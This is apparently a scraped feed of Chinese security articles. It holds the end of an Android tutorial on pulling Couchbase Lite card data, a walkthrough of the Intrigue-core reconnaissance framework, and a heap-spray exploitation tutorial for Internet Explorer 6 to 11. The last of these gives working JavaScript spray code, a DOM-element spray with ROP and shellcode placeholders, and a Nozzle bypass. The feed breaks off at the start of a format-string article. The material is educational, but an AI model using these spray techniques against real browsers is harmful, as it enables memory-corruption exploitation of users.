上面的代码创建了一个HashMap的对象来保存名称-值对。然后,我们创建一个文档,并将数据插入这个文档中。

测试NoSQL数据:

让我们在模拟器中安装目标应用程序,并在其中插入一些样本数据。然后,我们将考察应用程序在哪里以及如何存储我们输入的数据。

就像我们之前所做的那样,先在模拟器上获取一个shell。

键入以下命令,切换至/data/data目录。

cddata/data/

现在,让我们导航到目标包所在的目录。为此,我们可以从AndroidManifest.xml文件中通过APKTOOL找到它。

就本例来说,具体可以运行以下命令。

cdcom.androidpentesting.couchdatastorage

下面,我们运行“ls”命令来查看子目录。

root@generic:/data/data/com.androidpentesting.couchdatastorage#ls cache files lib root@generic:/data/data/com.androidpentesting.couchdatastorage#

虽然这里有许多目录,却没发现名为“databases”的目录。实际上,Couchbase Lite通常会将其数据存储在“files”目录中。

所以,让我们切换到files目录,并检查其中的文件。

root@generic:/data/data/com.androidpentesting.couchdatastorage/files#ls carddetails carddetails.cblite carddetails.cblite-journal root@generic:/data/data/com.androidpentesting.couchdatastorage/files#

我们可以看到扩展名为“.cblite”的文件,这正是我们的目标应用程序所生成的数据库文件。

让我们将这个文件复制到工作站上,以便于进一步深入研究。

root@generic:/data/data/com.androidpentesting.couchdatastorage/files#pwd /data/data/com.androidpentesting.couchdatastorage/files root@generic:/data/data/com.androidpentesting.couchdatastorage/files#

我们可以使用“adb pull”命令将这个文件“推送”到工作站,具体如下所示。

srini'sMacBook:Desktopsrini0x00$adbpull/data/data/com.androidpentesting.couchdatastorage/files/carddetails.cblite 1027KB/s(114688bytesin0.108s) srini'sMacBook:Desktopsrini0x00$

好了,现在我们感兴趣的东西已经到手了。

我们需要一个客户端来查看提取的数据库的内容。

Couchbase Lite Viewer是一个可用于在Mac OSX平台上面查看Couchbase Lite内容的应用程序,其下载链接如下所示:

下载链接(http://resources.infosecinstitute.com/android-hacking-and-security-part-19-insecure-data-storage-with-nosql-databases/#download )

下载完成后,启动程序,打开Couchbase Lite数据库。

这时,Couchbase Lite Viewer就会显示文件的内容,如上图所示。


【系列分享】安卓Hacking Part 19:NoSQL数据库不安全的数据存储

如果你的系统不是Mac的话,可以使用strings命令,具体如下所示。

srini'sMacBook:Desktopsrini0x00$stringscarddetails.cblite|grep'12345' 1-2aa97aff5f838c5af074e497e8a3bd8f{"cardnumber":"12345"} srini'sMacBook:Desktopsrini0x00$

如果您在windows机器上无法使用字符串命令的话,可以使用Hex-Editor软件。


传送门

安卓 Hacking Part 1:应用组件攻防(连载)

安卓 Hacking Part 2:Content Provider攻防(连载)

安卓 Hacking Part 3:Broadcast Receivers攻防(连载)

安卓 Hacking Part 4:非预期的信息泄露(边信道信息泄露)

安卓 Hacking Part 5:使用JDB调试Java应用

安卓 Hacking Part 6:调试Android应用

安卓 Hacking Part 7:攻击WebView

安卓 Hacking Part 8:Root的检测和绕过

安卓 Hacking Part 9:不安全的本地存储:Shared Preferences

安卓 Hacking Part 10:不安全的本地存储

安卓 Hacking Part 11:使用Introspy进行黑盒测试

安卓 Hacking Part 12:使用第三方库加固Shared Preferences

安卓 Hacking Part 13:使用Drozer进行安全测试

安卓 Hacking Part 14:在没有root的设备上检测并导出app特定的数据

安卓 Hacking Part 15:使用备份技术黑掉安卓应用

安卓 Hacking Part 16:脆弱的加密

安卓 Hacking Part 17:破解Android应用

安卓 Hacking Part 18:逆向工程入门篇



【系列分享】安卓Hacking Part 19:NoSQL数据库不安全的数据存储
【系列分享】安卓Hacking Part 19:NoSQL数据库不安全的数据存储
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:http://resources.infosecinstitute.com/android-hacking-and-security-part-19-insecure-data-storage-with-nosql-databases/

【工具推荐】Intrigue-core:信息收集框架(入选 BlackHat兵工厂)

$
0
0
【工具推荐】Intrigue-core:信息收集框架(入选 BlackHat兵工厂)

2017-03-24 11:56:05
来源:安全客 作者:OMG二黑

阅读:552次
点赞(0)
收藏





【工具推荐】Intrigue-core:信息收集框架(入选 BlackHat兵工厂)

Github地址:https://github.com/intrigueio/intrigue-core

渗透测试的信息收集阶段

信息收集在渗透测试的过程中起着重要的作用,在这个阶段我们需要尽可能多的收集目标企业的信息。

一般情况下信息收集的方式主要分为主动收集和被动收集。主动收集的主要方式为爆破、扫描等。被动收集即通过搜索引擎、社交平台、whois查询等方式收集目标企业公开的一些信息。

两种方法各有优劣,主动收集获得的信息更加详细准确,但由于扫描、爆破是需要与目标网络中的主机通信,会留下踩点的痕迹。被动收集相对隐蔽,但是收集的信息则相对较少。

总之在一次完整的渗透测试中两种方式缺一不可,只有对目标企业的网络信息多次不断的收集,在对方网络环境改变时,才能做到知己知彼,游刃有余。


信息收集框架的引入

随着大家信息安全意识的不断提高,以及现代开发框架的广泛应用、CDN、WAF的普及、各大厂商纷纷建立自己的信息安全团队导致现今漏洞出现点、利用方法、利用难易程度,发生了一些变化。

无论你是一个渗透测试人员想毫不费力的拿下目标站点,还是一个白帽子向在更短的时间内发现更多的漏洞,亦或你是一个企业网络的安全负责人。信息收集在工作进程中都起着相当重要的作用。

目标网络的复杂化、安全团队的专业化,如今渗透测试早已不是一个人可以单枪匹马去ko一个项目的了,那么一个多元化的渗透测试团队如何相互协作,在信息收集阶段避免信息冗余、遗漏、重复收集将会是一个至关重要的问题。

本篇文章中,我们将介绍一款开源信息收集框架Intrigue-core,通过Intrigue-core可以更加方便、全面的侦测到目标企业更多的攻击面,可有效将收集到的信息以点线、图表等方式呈现,直观了解到各主机、域名等信息的相关性。


Intrigue-core

通过Docker部署Intrigue-core

使用docker快速安装intrigue-core,首先你要在你的机器上[安装docker] 接下来,通过git clone将其从[git仓库]中拉下来 $gitclonehttps://github.com/intrigueio/intrigue-core $cdintrigue-core $dockerbuild. $dockerrun-i-t-p7777:7777

执行完如上命令后将会启动postgres、redis、intrigue-core服务,你将会看到如下输出。

StartingPostgreSQL9.6databaseserver[OK] Startingredis-server:redis-server. Startingintrigue-coreprocesses [+]Setupinitiated! [+]Generatingsystempassword:hwphqlymmpfrqurv [+]Copyingpumaconfig.... []Filealreadyexists,skipping:/core/config/puma.rb *Listeningontcp://0.0.0.0:7777 UseCtrl-Ctostop

译者注:

在搭建这个框架的过程中我使用的操作系统是Ubuntu 14.04 x64,安装过程中遇到一些问题,主要是Dockerfile的事,做了一些修改,添加了一些内容,如下图所示:


【工具推荐】Intrigue-core:信息收集框架(入选 BlackHat兵工厂)

当它启动时,你可以看到它生成一个密码。你现在可在在你的机器上访问,http://localhost:7777然后通过用户名intrigue和之前随机生成的密码去登陆。

URI: http://localhost:7777

用户名: intrigue

密码: [随机生成,参考上文界面]

现在,尝试一下,创建一个项目:


【工具推荐】Intrigue-core:信息收集框架(入选 BlackHat兵工厂)

现在你已经创建了一个新的项目,让我们单独运行一下。


【工具推荐】Intrigue-core:信息收集框架(入选 BlackHat兵工厂)

可以看到这里有很多有趣的东西。


【工具推荐】Intrigue-core:信息收集框架(入选 BlackHat兵工厂)

我们可以点击任何一个新的按钮,去开始一个新的任务,首先让我们来查一下DNS的解析记录,sip.microsoft.com。点击这里你将看到所有实体的内容,同时当任务运行后,我们可以在所有的dns记录实体中选择其中一个进行查看。


【工具推荐】Intrigue-core:信息收集框架(入选 BlackHat兵工厂)

在本案例中,我们可以选择” nmap scan”,然后点击” Run Task”,允许我们使用这个功能。


【工具推荐】Intrigue-core:信息收集框架(入选 BlackHat兵工厂)

继续执行,你会发现。

我们可有注意到许多任务都需要api key,这个key可以在”Configure”标签中配置,每一个列表都有一个方便处理的链接,你可以在那配置api key


【工具推荐】Intrigue-core:信息收集框架(入选 BlackHat兵工厂)

不要忘记查看“Dossier”和“Graph”,向您展示的所有实体的列表,所有实体节点的图示信息:


【工具推荐】Intrigue-core:信息收集框架(入选 BlackHat兵工厂)

哦,点击其中的任意一个节点,你可以查看更多的详细信息!


【工具推荐】Intrigue-core:信息收集框架(入选 BlackHat兵工厂)

通过扫描发现更多的攻击面(实例演示)

当你看到这个部分,你已经使用[Docker]创建了一个intrigue-core实例,所以本节将通过一个真实场景来介绍intrigue-core的使用方法。首先创建一个新项目,让我们扫描一下Mastercard(他们在[Bugcrowd]上发布了漏洞悬赏计划):
【工具推荐】Intrigue-core:信息收集框架(入选 BlackHat兵工厂)

现在,运行“Create Entity(创建实体)”创建一个名称为“mastercard.com”的DnsRecord(DNS记录)查询任务。

此时,设置递归查询深度为3。这将告诉系统运行所有可行的任务,当一个新的实体创建,递归查询,直到我们达到我们的设置的最大深度:


【工具推荐】Intrigue-core:信息收集框架(入选 BlackHat兵工厂)

点击“Run Task(运行任务)”你将看到该实体成功创建:


【工具推荐】Intrigue-core:信息收集框架(入选 BlackHat兵工厂)

【工具推荐】Intrigue-core:信息收集框架(入选 BlackHat兵工厂)

现在,我们看一下“Results(结果)”选项卡,可以看到“Autoscheduled Tasks”的扫描结果已经在我们眼前呈现:


【工具推荐】Intrigue-core:信息收集框架(入选 BlackHat兵工厂)

请注意,每次刷新加载页面时都重新会生成图表,对于部分信息不能正常显示,你可以多刷新几次试试。 还可以放大和缩小以获取节点上的详细信息:


【工具推荐】Intrigue-core:信息收集框架(入选 BlackHat兵工厂)

浏览下“Dossier(档案)”,你可以看到,在一些公网业务主机下的一些指纹,这里没有任何入侵行为的,仅仅是页面抓取和分析后的结果:


【工具推荐】Intrigue-core:信息收集框架(入选 BlackHat兵工厂)

一个简洁的功能是Core实际上解析Web内容 、包括PDF和其他文件格式,拉出更多的元数据,所有这一切只需几分钟:


【工具推荐】Intrigue-core:信息收集框架(入选 BlackHat兵工厂)

总结

工欲善其事,必先利其器。一款好用的信息收集框架可以让我们在渗透测试中快速、准确的定位到薄弱环节,实施有针对性的安全测试。

参考链接

https://github.com/intrigueio/intrigue-core

https://intrigue.io/

https://intrigueio.files.wordpress.com/2015/08/slides.pdf

http://www.CodeSec.Net/articles/system/58096.html

https://www.leavesongs.com/PENETRATION/edusoho-debug-user-information-disclose.html


【工具推荐】Intrigue-core:信息收集框架(入选 BlackHat兵工厂)
【工具推荐】Intrigue-core:信息收集框架(入选 BlackHat兵工厂)
本文由 安全客 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/3651.html

【技术分享】IE浏览器漏洞综合利用技术:堆喷射技术

$
0
0
【技术分享】IE浏览器漏洞综合利用技术:堆喷射技术

2017-03-24 11:03:54
来源:安全客 作者:Ox9A82

阅读:549次
点赞(0)
收藏





【技术分享】IE浏览器漏洞综合利用技术:堆喷射技术

作者:Ox9A82

稿费:400RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


0.前言

浏览器曾经是漏洞肆虐的重灾区,在IE6时代往往一不留神打开一个页面就会中招。甚至在web渗透圈子中也流传过“拿shell 挂网马”这样一句话。那么这种情况是什么时候得到改观的呢?我个人觉得应该与IE8的出现脱离不开关系,IE8与前几代的最大不同在于它首次支持了DEP和ASLR保护。对漏洞攻防有了解的同学应该知道ASLR早在2007年就已经发布了,而DEP更是可以追溯到xp时代,但是微软出于各种考虑并没有在IE浏览器中启用这些保护,直到IE8的发布。彼时ASLR加上DEP的强强联合曾被认为是牢不可破的马奇诺防线,这种看法在现在看来当然是很可笑的。这让我们认识到漏洞攻防是一种此消彼长的技术、是一种动态平衡,从来不存在绝对的安全。


【技术分享】IE浏览器漏洞综合利用技术:堆喷射技术

IE浏览器攻防史上的一个重要事件应该是Pwn2Own 2010的赛场上Peter Vreugdenhil对具有ASLR、DEP保护的IE8浏览器的攻击。在这次利用中,Peter Vreugdenhil使用OOB漏洞结合对象的结构进行信息泄漏,这种手法的思想在现在依然在应用。

从2010年的IE8到2015年的IE11,IE浏览器的攻防技术在短短5年内发展的极为迅速也极为精彩,让我们感受到了攻防对抗的魅力。随着Edge浏览器的发布,IE的攻防对抗可能要落下帷幕了,但是攻防向前发展的脚步却不会停下,Edge其实是延续了这种对抗技术。

在这系列文章中,我们会从最初的IE6“远古时代”开始讲起,会涉及到时间长河中出现的各种利用手段。就像仙果所说,浏览器漏洞利用从最初的“暴力”、“野蛮”逐步发展到了如今的“优雅”和“科幻”。

这系列文章主要目的是做一个技术总结。内容包含比较多,从信息泄露到漏洞利用,从各种缓解措施的绕过到最新保护措施的介绍,在完成这篇文章的过程中我阅读了大量国内外的文档,深感国内的中文资料不是很多,自己也着手翻译了一些。


1.概述

堆喷射是一种极具历史感的技术,第一次出现是在2001年。堆喷射最初的使用目的仅仅是为了给一些漏洞利用提供一个稳定的可以存放shellcode的地址,诸如在栈溢出利用中使用堆喷射放置shellcode然后劫持返回地址进行跳转(无dep情况)。堆喷射第一次在IE浏览器上的应用出现于CVE-2004-1050的exploit中,采用的是极其经典的nops+shellcode的方式。此后结合千疮百孔的ActiveX,诸如栈溢出,漏洞利用的成本着实相当之低。

但是随着2007年ASLR出现之后,这种“老旧”的技术又焕然新生了。尤其是对于IE浏览器、Adobe Reader等软件来说,因为它们支持内嵌执行javascript为攻击者提供了动态分配内存的途径。随着攻防技术的发展,微软以及第三方安全厂商都曾开发过一些堆喷射的缓解措施,所以对于不同的版本来说有不同的堆喷射方法,一旦一种喷射方法被厂商封堵之后,聪明的Hacker们总能想出新的途径进行喷射。


2.基础知识

IE浏览器下的堆喷射一般都是通过js实现的。所谓堆喷射(Heap spray)指的就是通过大量分配内存来填充进程地址空间以便于进一步利用的手段。

在调试堆喷射代码时需要注意的一点是,在调试态下堆内存的分配布局和正常情况下是可能会有差异的,所以不能直接使用调试器附加进程来调试堆喷代码。我们需要等堆喷射完成之后再去附加IE进程,才能得到准确的堆空间布局。同时因为堆的分布不均衡(存在碎片),所以最先分配的一些堆块的地址可能是无规律的,但是如果大量的分配堆块的话,那么就会出现稳定的地址分布。


【技术分享】IE浏览器漏洞综合利用技术:堆喷射技术

3.如何调试堆喷射

关于调试器的选择,我个人认为应该使用Windbg,虽然也可以使用Immunity Debugger或是OllyDbg,但是个人觉得调试微软的程序还是Windbg更好用也更稳定一些。

Windbg有一些非常强大的调试命令,这里介绍一些调试漏洞时很有用的命令,这些命令可能暂时用不到但在后面的文章中用到,这里一并给出。

首先是gflags.exe,gflags.exe其实是Windbg自带的一个可执行文件,用于启用一些微软提供的一些调试支持,gflags的原理其实非常简单因为这些调试支持的设置实际上是在注册表中的,我们手动修改注册表的效果其实也是一样的。对于IE漏洞调试来说最有用的调试选项就是UST和HPA。其中,UST是堆分配记录,只要开启了这个选项每一块堆的分配都会记录在进程中,之后如果想要知道一个堆是在哪里分配的只要使用一条命令!heap -p -a即可。HPA是调试堆,只要启用了HPA选项,堆的结构会发生变化,增加额外的检查字段,并且堆的附近内存页变的不再可读可写,这样一旦发生了堆溢出、越界访问或是UAF就可以在第一时间发现并抛出异常。至于更多的选项,我推荐阅读张银奎老师的《软件调试》或者我的博客里简单的记录了一些http://www.cnblogs.com/Ox9A82/p/5603172.html。

!heap也有一些很好用的命令 !heap-stat显示进程中所有堆的信息,通过这个命令可以找到堆喷分配内存块所属的堆 !heap-aHEAP_HANDLE显示指定句柄的堆的情况 !heap-stat-hHEAP_HANDLE可以看到堆中块的分布情况 !heap-fltssize显示所有指定大小的块 !heap-p-a堆分配记录

ln 列出附近的符号,这条命令在调试IE漏洞时相当有用,我们后面就可以看到

sxeld:module_name当模块加载时断下 baaddress多功能断点,大家可能比较熟悉bp断点,ba相比bp可以自由指定断下的访问操作 buaddress对符号下断,这条命令在调试IE漏洞时相当有用,断下的位置是根据符号确定的 xname搜索符号,可以用于查找模块中的函数名,非常有用

关于如何调试POC

由于我们是处于浏览器中的缘故,我们并不能够做到直接调试javascript脚本。为此Hacker们想出一些很巧妙的解决方案,其中最常用的就是使用Javascript中的数学函数辅助下断,诸如Math.cos()、Math.sin()、Math.tan()、Math.asin()、Math.acos()、Math.atan()等函数。这些函数的优点是直接对应于jscript!cos、jscript!sin、jscript!tan、jscript!asin、jscript!acos、jscript!atan等调试符号。我们可以在POC中插入这些数学函数,来实现对POC进行调试。

此外如果你对mshtml的一些基本结构诸如CTreeNode、CTreePos有所了解的话,那么调试的效率会更高。

这里我初步的介绍了一些调试浏览器漏洞的小技巧,如果你完全没有接触过漏洞的调试,那么我推荐你看一下泉哥的《漏洞战争:软件漏洞分析精要》。


4.堆喷射需要考虑什么

在介绍实际的喷射手法之前我们先想一想,堆喷射要考虑哪些问题?

最容易想到的就是应该用什么来填充。

其次会想到,多大的填充尺寸可以达到目标地址。

再次是每个基本单位应该要多大,才能够准确又稳定的填充。

接下来我们会看到这些实际的喷射手法就是对这些问题的解决。


5.XP+IE6环境下的堆喷射

IE6浏览器的堆喷射是使用Javascript String对象进行的。

IE6下的堆喷射是最原始的一种,因为IE6那个时期是没有任何漏洞缓解措施的,所以只需要考虑如何分配内存即可。

从代码执行的角度来看,IE6时期我们的利用主要分为两类。第一类是ActiveX类的漏洞,而且以栈溢出为常见。第二类是IE6本身的UAF漏洞。第一类漏洞只需要一个大致的地址+合适的nop跳板就可以实现最终的利用。至于第二类通常会使用一个固定的跳板地址,诸如著名的0x0C0C0C0C,关于它的原理我们之后再讲,这里我们也可以认为它只需要一个大致的地址就可以。

但是由于IE6中javascript的实现,使得字符串赋值给一个变量时并不会开辟新的内存空间(类似于C中的指针取地址),只有当字符串发生连接操作时(substr或是+),才会为字符串开辟新的内存空间。

for(i=0;i<1000;i++) heap_chunks[i]=chunk+junk;

下面给出了堆喷的测试代码,其中每一个块的大小是0x80000(每个字符两个字节),为什么要取0x80000的大小呢?这是我们在前面提出的问题,其实取别的大小我认为也是可以的,单个块的大小和分配的块数是一种综合的考量,主要是要考虑到内存块分配的速度和内存布局的稳定性。至于为什么这个数是0x40000我也不知道,只能说是前辈们在不断尝试中获得的经验,下面是一个堆喷射的示例代码:

<html> <SCRIPTlanguage="JavaScript"> varsc=unescape("%ucccc%ucccc"); varnop=unescape("%u0c0c%u0c0c"); while(nop.length<0x40000) nop+=nop; nop=nop.substring(0,0x40000-0x20-sc.length); heap_chunks=newArray(); for(i=0;i<500;i++) heap_chunks[i]=nop+sc; </SCRIPT> </html>

你是否注意到了“0x40000-0x20-sc.length”?

因为js中字符串对象不是简单的Unicode。它是一种复合的字符串结构,称为BSTR,这一数据类型包含有数据长度域、数据域和一个终止符。

4个字节的size域描述字符串的字节数,但是不包含结束符

n个字节的string主体(Unicode格式)

2个字节的\x00\x00结束符

值得注意的是BSTR并不是javascript定义的,恰恰相反BSTR是微软官方定义的,可以直接在MSDN中查到(https://msdn.microsoft.com/en-us/library/windows/desktop/ms221069(v=vs.85).aspx)

并且可能是通过oleaut32.dll进行分配的

(https://msdn.microsoft.com/en-us/library/ms923851.aspx )

参加MSDN的示例:

BSTRMyBstr=SysAllocString(L"IamahappyBSTR");

我们试图把内存喷射到0x0C0C0C0C,经过简单的计算可知0x0C0C0C0C约为202116108个字节。 500*0x80000约为262144000个字节,262144000大于202116108个字节,因此我们的喷射一定可以到达0x0C0C0C0C。

根据这种算法我们可以得出

0x0A0A0A0A(160M)0x0C0C0C0C(192M)0x0D0D0D0D(208M)
【技术分享】IE浏览器漏洞综合利用技术:堆喷射技术

任务管理器中内存曲线突出的部分就是堆喷导致的


6.Win7+IE8环境下的堆喷射

IE8相比IE6来说并没有在堆喷射方面做任何的限制,因此我们可以同样通过Javascript String对象进行喷射。

但是在代码执行的角度来看,IE8浏览器支持了ASLR和DEP这两个重要的漏洞环境措施,因此我们堆喷射策略也要进行调整。这一时期的堆喷射关键字是精准,要求能够准确预测到喷射的位置,甚至一个字节都不可以差。至于必须这样的原因,我会在利用部分讲,这里只需要知道此时要求精准喷射。

此外还有一点是IE8下需要把以前的连接语句换成substring()才能实现内存分配,这个没什么好说的。

<html> <SCRIPTlanguage="JavaScript"> varsc=unescape("%ucccc%ucccc"); varnop=unescape("%u0c0c%u0c0c"); while(nop.length<0x100000) nop+=nop; nop=nop.substring(0,(0x80000-6)/2); code=nop; heap_chunks=newArray(); for(i=0;i<1000;i++) heap_chunks[i]=code.substring(0,code.length); </SCRIPT> </html>

这一种技术很有可能是Pwn2Own 2010的获胜者Peter Vreugdenhil发明的

(参见http://vreugdenhilresearch.nl/Pwn2Own-2010-Windows7-InternetExplorer8.pdf)

Peter Vreugdenhil发现当堆块进行大量分配的时候,地址分配的熵处于高位并且是对齐的。就是说堆地址的低位不会发生变化,仅有几个高字节是改变的,为此Peter Vreugdenhil给出了一个例子

Heapallocsize(0x7ffc0)allocatedat063d0020 Heapallocsize(0x7ffc0)allocatedat06450020 Heapallocsize(0x7ffc0)allocatedat064d0020 Heapallocsize(0x7ffc0)allocatedat06550020 Heapallocsize(0x7ffc0)allocatedat065d0020 Heapallocsize(0x7ffc0)allocatedat06650020 Heapallocsize(0x7ffc0)allocatedat066d0020

利用这一点,如果我控制我分配的堆块大小为0x10000。因为低位不变,那么无论如何我们都可以成功的指向我们想要的地址。举个例子,假如我们在第一次运行中,0x0c0c0c0c属于开始地址在0x0c0c0018的堆块、第二次,0x0c0c0c属于开始地址在0x0c080018的块、第三次处于0x0c030018。因为块是对齐的,只要块的大小可以控制为0x10000的基数就可以,比如0×1000、比如0x5000、比如0x10000。这样一来,我们就可以控制0x0c0c0c0c处的内容始终指向rop链第一条语句了。

我在这里使用后面提到的shellcode.substring(0, (0x80000-6)/2);进行分配,分配结果如下图


【技术分享】IE浏览器漏洞综合利用技术:堆喷射技术

接下来我们只需要计算目的地址与rop首语句之间的差值即可把eip准确的指向rop链了。


7.IE9环境下的堆喷射

历史的轮盘转到了IE9的时代,微软为了阻止攻击者进行堆喷射在IE9中增加了Nozzle缓解机制,Nozzle缓解机制会检测到堆喷中分配的相同占位块从而导致堆喷失败。但是由于Nozzle的判断机制非常简单,因此只要堆喷的每个堆块有略微的不同比如加入随机数,甚至只需要改变一个字节就可以绕过Nozzle缓解机制的检测,成功实现堆喷。

其实,这里还有一个隐含的意思不知道你有没有意识到,那就是对于具有DEP环境下的堆喷射来说,除了我们布置的payload本身之外其它的部分已经没有什么意义了。我们既不需要它们作为跳板,也不指望它们可以实现什么,因为这部分的内容完全就是随意的,我们可以生成一些随机数或其它的随机内容填充这一部分来使得每个块内容都不同。如果你没能理解这句话意思,那么没关系我们会在后面利用部分详述。

这里展示了如何把IE8下的堆喷代码修改成IE9适用的以绕过Nozzle。

<html> <SCRIPTlanguage="JavaScript"> varsc=unescape("%ucccc%ucccc"); varnop=unescape("%u0c0c%u0c0c"); while(nop.length<0x100000) nop+=nop; nop=nop.substring(0,(0x40000-6)/2); heap_chunks=newArray(); for(i=0;i<1000;i++) { code=nop+i; heap_chunks[i]=code.substring(0,code.length); } </SCRIPT> </html>

我们这里演示了堆喷射的结果,如下图


【技术分享】IE浏览器漏洞综合利用技术:堆喷射技术

8.IE10环境下的堆喷射

到了IE10这里,情况就有一些不一样了。IE10浏览器中禁止了喷射BSTR(javascript string)的操作,这意味着自IE6发展而来的堆喷射方法已经不再奏效了,我们以前的那些方法都不能在IE10浏览器下成功进行喷射。在这种情况下,一种被称为DOM Element Property Spray(简称DEPS)的技术由Corelan Team提了出来(https://www.corelan.be/index.php/2013/02/19/deps-precise-heap-spray-on-firefox-and-ie10/)

这项技术可以说是源自联想和类比,因为我们在对UAF漏洞进行利用时通常都会使用标签进行占位(后面介绍利用的文章中会详述),既然创建标签可以分配内存那么根据这种情况我们会联想到是否可以通过标签进行喷射。

DEPS技术的思想正是创建大量的DOM元素(标签),通过DOM元素去喷射内存,并且通过设置DOM元素的属性来设置堆喷内存的内容。

并且由于内存布局的不同的原因,在IE10下0x20302228是一个稳定且便于到达的地址。而且利用DOM喷射一个比较凑巧的优点就是不需要刻意的绕Nozzle缓解机制,其本身就不受Nozzle的影响。下面是一个展示堆喷射效果的DEMO,因为IE10浏览器是随着Windows8一起发布的,所以我们这里使用Windows8作为测试环境。

<html> <head></head> <body> <divid='blah'></div> <scriptlanguage='javascript'> vardiv_container=document.getElementById('blah'); div_container.style.cssText="display:none"; vardata; offset=0x104; junk=unescape("%u2020%u2020"); while(junk.length<0x1000) junk+=junk; rop=unescape("%u4141%u4141%u4242%u4242%u4343%u4343%u4444%u4444%u4545%u4545%u4646%u4646%u4747%u4747"); shellcode=unescape("%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc"); data=junk.substring(0,offset)+rop+shellcode; data+=junk.substring(0,0x800-offset-rop.length-shellcode.length); while(data.length<0x80000)data+=data; for(vari=0;i<0x500;i++) { varobj=document.createElement("button"); obj.title=data.substring(0,0x40000-0x58); div_container.appendChild(obj); } </script> </body> </html>

此外还有一个非常有趣的现象,在x64的Win8和Win8.1下,我们一般打开的IE浏览器实际上都是32位的。那么你可能有疑问,因为IE明明提供了64位和32位两个版本,为什么我们打开的都是32位的?事实上64位版本是专为Metro界面提供的,如果你从Metro启动IE就会发现它是64位的。我发现这一点是因为我一直使用的是32位的windbg,32位的windbg是调试不了64位进程的,我在调试时发现有时候IE进程可以附加有时候不可以附加,后来查了一下资料才发现是这么回事。

IE10的64位进程与32位进程


【技术分享】IE浏览器漏洞综合利用技术:堆喷射技术

【技术分享】IE浏览器漏洞综合利用技术:堆喷射技术

9.IE11环境下的堆喷射

IE11是IE浏览器的终章,IE11与Widows8.1系统同时发布。

其实单纯说喷射的话与IE10相似,但是由于IE11浏览器已经加入了很多新的漏洞缓解措施,出于漏洞利用的考虑我们此时单独讨论堆喷射已经没有什么意义了。换而言之,此时喷射内存的目的已经与之前完全不同了。

我们会在后面的利用部分讨论IE11中进行jscript9 Heap Feng shui布局的意义。


10.使用Heaplib进行堆喷射

Heaplib是一个方便进行精准堆喷射的库。

由于IE浏览器的堆很可能存在空洞,这样的话会对我们的堆布局造成很大影响。heaplib会刷新这些缓冲块,以确保申请的块由系统堆分配。详见(http://www.phreedom.org/research/heap-feng-shui/heap-feng-shui.html)

但是Heaplib只在IE9以下的版本中有效,因为IE9中存在Nozzle。不过可以通过我们自己修改Heaplib来让它运行在IE9上。


11.通过FLASH进行喷射

大概是2014年,网上开始大量流传使用Flash内存布局结合浏览器漏洞进行利用的样本。从技术手段来说,这些使用FLASH进行内存布局的样本与我们前面讲的这些堆喷射已经不处于同一个次元了。结合Flash内存布局的利用,本质上讲是试图做一种漏洞的转化,与我们前面讲的这些喷射有本质的不同。这种技术最早应该是由李海飞前辈提出的,我们在后面利用部分会详细说这部分内容,参见

(https://docs.google.com/viewer?url=https://sites.google.com/site/zerodayresearch/smashing_the_heap_with_vector_Li.pdf?attredirects=0 )


12.常用堆喷尺寸大小

参考自泉哥博客,这些数据应该说是前辈们的经验总结。

XPSP3-IE6block=shellcode.substring(0,0x40000-0x20) XPSP3–IE7block=shellcode.substring(2,0x10000-0×21); XPSP3–IE8block=shellcode.substring(2,0x40000-0×21); VistaSP2–IE7block=shellcode.substring(0,(0x40000-6)/2); VistaSP2–IE8block=shellcode.substring(0,(0x40000-6)/2); Win7–IE8block=shellcode.substring(0,(0x80000-6)/2); Vista/Win7–IE9block=shellcode.substring(0,(0x40000-6)/2); XPSP3/VISTASP2/WIN7-Firefox9block=shellcode.substring(0,(0x40000-6)/2);

13.x64下的堆喷射

对x64进程进行堆喷射理论上是没有意义的,因为64位的地址表示的值过大,以我们目前的计算机配置来说就算是拿全部的内存进行喷射也不可能到达喷射需求的地址。但是在实际漏洞利用中,可能因为漏洞本身的特性导致我们可以通过小范围喷射进行利用,诸如著名的《Exploiting Internet Explorer11 64-bit on Windows 8.1 Preview》文章中的利用。


后记

其实这系列的文章,我在去年10月份的时候就已经写完了,但是一直在硬盘里放了近半年都没有投出来。我主要是考虑到这系列文章涉及的话题太广、内容太多、历史又太悠久,考虑到自己仅是个大二学生水平较低、接触漏洞方面也不久,唯恐内容中出现错误和纰漏。但是做了一番修改后我还是鼓起勇气发出来了,希望大家能够帮忙指出文章中错误和提出修改建议,可以通过微博私信给我 id:Ox9A82。


reference

《浏览器漏洞攻防对抗的艺术》仙果

http://bbs.pediy.com/thread-211277.htm

《攻破Windows 8.1的64位IE》古河

http://www.ichunqiu.com/course/52149

《Heap Feng Shui in JavaScript》

http://www.phreedom.org/research/heap-feng-shui/heap-feng-shui.html

《DEPS —— Precise Heap Spray on Firefox and IE10》

https://www.corelan.be/index.php/2013/02/19/deps-precise-heap-spray-on-firefox-and-ie10/

《Exploiting Internet Explorer11 64-bit on Windows 8.1 Preview》

http://ifsec.blogspot.com/2013/11/exploiting-internet-explorer-11-64-bit.html

《Exploit 编写系列教程第十一篇:堆喷射技术揭秘》

http://bbs.pediy.com/showthread.php?t=151381

《IE Array Object Heap Spraying》

http://www.cnblogs.com/wal613/p/3958692.html

《ASLR BYPASS APOCALYPSE IN RECENT ZERO-DAY EXPLOITS》

https://www.fireeye.com/blog/threat-research/2013/10/aslr-bypass-apocalypse-in-lately-zero-day-exploits.html

《Smashing the Heap with Vector:Advanced Exploitation Technique in Recent Flash Zero-day Attack》

https://docs.google.com/viewer?url=https://sites.google.com/site/zerodayresearch/smashing_the_heap_with_vector_Li.pdf?attredirects=0


【技术分享】IE浏览器漏洞综合利用技术:堆喷射技术
【技术分享】IE浏览器漏洞综合利用技术:堆喷射技术
本文由 安全客 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/3656.html

【技术分享】格式化字符串漏洞利用小结(一)

$
0
0
【技术分享】格式化字符串漏洞利用小结(一)

2017-03-24 14:31:57
来源:安全客 作者:tianyi201612

阅读:111次
点赞(0)
收藏





【技术分享】格式化字符串漏洞利用小结(一)

作者:tianyi201612

稿费:300RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


1、前言
